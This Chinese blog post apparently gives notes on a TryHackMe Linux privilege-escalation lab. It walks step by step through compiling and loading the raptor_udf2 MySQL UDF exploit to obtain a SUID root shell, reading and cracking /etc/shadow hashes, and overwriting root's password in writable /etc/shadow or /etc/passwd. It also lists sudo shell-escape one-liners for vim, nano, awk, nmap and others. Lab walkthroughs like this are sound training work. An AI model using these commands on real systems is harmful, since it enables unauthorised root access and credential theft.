服务漏洞利用
MySQL服务以root身份运行,并且该服务的“root”用户没有分配密码。我们可以使用一种流行的漏洞利用用户定义函数 (UDF) 通过 MySQL 服务以 root 身份运行系统命令。
MySQL(Linux)-UDF-exp地址链接:https://www.exploit-db.com/exploits/1518 相关漏洞详情:https://www.cvedetails.com/cve/CVE-2005-0711 该exp影响的目标范围:MySQL 4.x/5.0 (Linux) + 错误配置的 MySQLServer
切换到 /home/user/tools/mysql-udf 目录:
cd /home/user/tools/mysql-udf
使用以下命令编译 raptor_udf2.c 漏洞利用代码:
gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
#使用 gcc 需要两次运行才能编译成一个共享对象。 #你可以在目标机或者攻击机上编译 C 代码,如果你在攻击机上编译它,请记住操作系统的体系结构可能不同,所以最好还是在目标机上进行编译
以 root 用户身份使用空白密码连接到 MySQL 服务:
mysql -u root
在MySQL shell上执行以下命令,使用我们编译的漏洞创建用户定义函数(UDF)“do_system”:
#选择 mysql db use mysql; #我们需要创建一个临时表供我们使用。因为我们需要一个地方来加载共享的二进制文件到 MySQL。 create table foo(line blob); #接下来需要将文件内容插入到表中 insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); #要使用UDF,我们还需要找到插件目录的位置,这就是我们需要存储文件的地方,可以通过命令找到:show variables like '%plugin%'; select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; #创建函数 create function do_system returns integer soname 'raptor_udf2.so'; #验证函数是否成功被创建:select * from mysql.func;
使用函数将 /bin/bash 复制到 /tmp/rootbash 并设置 SUID 权限:
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');退出 MySQL shell(键入 exit 或 \q 并按 Enter)并使用 -p 运行 /tmp/rootbash 可执行文件,以获得以 root 权限运行的 shell:
/tmp/rootbash -p
请记住删除 /tmp/rootbash 可执行文件并退出 root shell,然后再继续,因为您将稍后在房间中再次创建此文件!
rm /tmp/rootbash exit
弱文件权限 - 可读 /etc/shadow
/etc/shadow 文件包含用户密码哈希值,通常只能由 root 用户读取。
请注意,VM 上的 /etc/shadow 文件是全局可读的:
ls -l /etc/shadow
查看 /etc/shadow 文件的内容:
cat /etc/shadow
文件的每一行代表一个用户。用户的密码哈希值(如果有的话)可以在每行的第一个和第二个冒号 (:) 之间找到。
将根用户的哈希保存到 Kali VM 上名为 hash.txt 的文件中,并使用开膛手约翰破解它。您可能需要先解压缩 /usr/share/wordlists/rockyou.txt.gz然后根据您的 Kali 版本使用 sudo 运行命令:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
切换到root用户,使用破解的密码:su root
弱文件权限 - 可写 /etc/shadow
/etc/shadow 文件包含用户密码哈希值,通常只能由 root 用户读取。
请注意,VM 上的 /etc/shadow 文件是全局可写的:
ls -l /etc/shadow
使用您选择的密码生成新的密码哈希:
mkpasswd -m sha-512 newpasswordhere
编辑 /etc/shadow 文件,并将原始 root 用户的密码哈希替换为您刚刚生成的密码哈希。
使用新密码切换到 root 用户:
su root
弱文件权限 - 可写 /etc/passwd
/etc/passwd 文件包含有关用户帐户的信息。它是全局可读的,但通常只能由 root 用户写入。从历史上看,/etc/passwd 文件包含用户密码哈希值,某些版本的 Linux 仍然允许将密码哈希值存储在那里。
请注意,/etc/passwd 文件是全局可写的:
ls -l /etc/passwd
使用您选择的密码生成新的密码哈希:
openssl passwd newpasswordhere
编辑 /etc/passwd 文件,并将生成的密码哈希值放在 root 用户行的第一个冒号和第二个冒号(:)之间(替换“x”)。
使用新密码切换到 root 用户:
su root
或者,复制 root 用户的行并将其附加到文件底部,将单词“root”的第一个实例更改为“newroot”,并将生成的密码哈希放在第一个冒号和第二个冒号之间(替换“x”)。
sudo - shell 转义序列
列出 sudo 允许用户运行的程序:
sudo -l
访问 go awayBins (https://gtfobins.github.io) 并搜索一些程序名称。如果程序以“sudo”作为函数列出,则可以使用它来提升权限,通常通过转义序列。
从列表中选择一个程序,然后尝试使用 go awayBins 中的说明获取 root shell。
对于额外的挑战,请尝试使用列表中的所有程序获得 root shell!
#iftop的sudo提权命令 sudo iftop !/bin/sh #nano的sudo提权命令 sudo nano ^R^X reset; sh 1>&0 2>&0 #vim的sudo提权命令 sudo vim -c ':!/bin/sh' #还有其他可行命令,但是需要语言环境支持,具体请参考GTFOBins #man的sudo提权命令 sudo man man !/bin/sh #awk的sudo提权命令 sudo awk 'BEGIN {system("/bin/sh")}' #less的sudo提权命令 sudo less /etc/profile !/bin/sh #nmap的sudo提权命令(禁用输入回显) TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF #nmap的sudo提权命令(利用nmap版本2.02至5.21的交互模式) sudo nmap --interactive nmap> !sh #more的sudo提权命令 TERM= sudo more /etc/profile !/bin/sh
大概提权的想法都是用root身份去开一个窗口然后退出并执行/bin/bash
标签:PrivEsc,sudo,用户,etc,THM,哈希,Linux,shadow,root From: https://www.cnblogs.com/trymonoly/p/17891226.html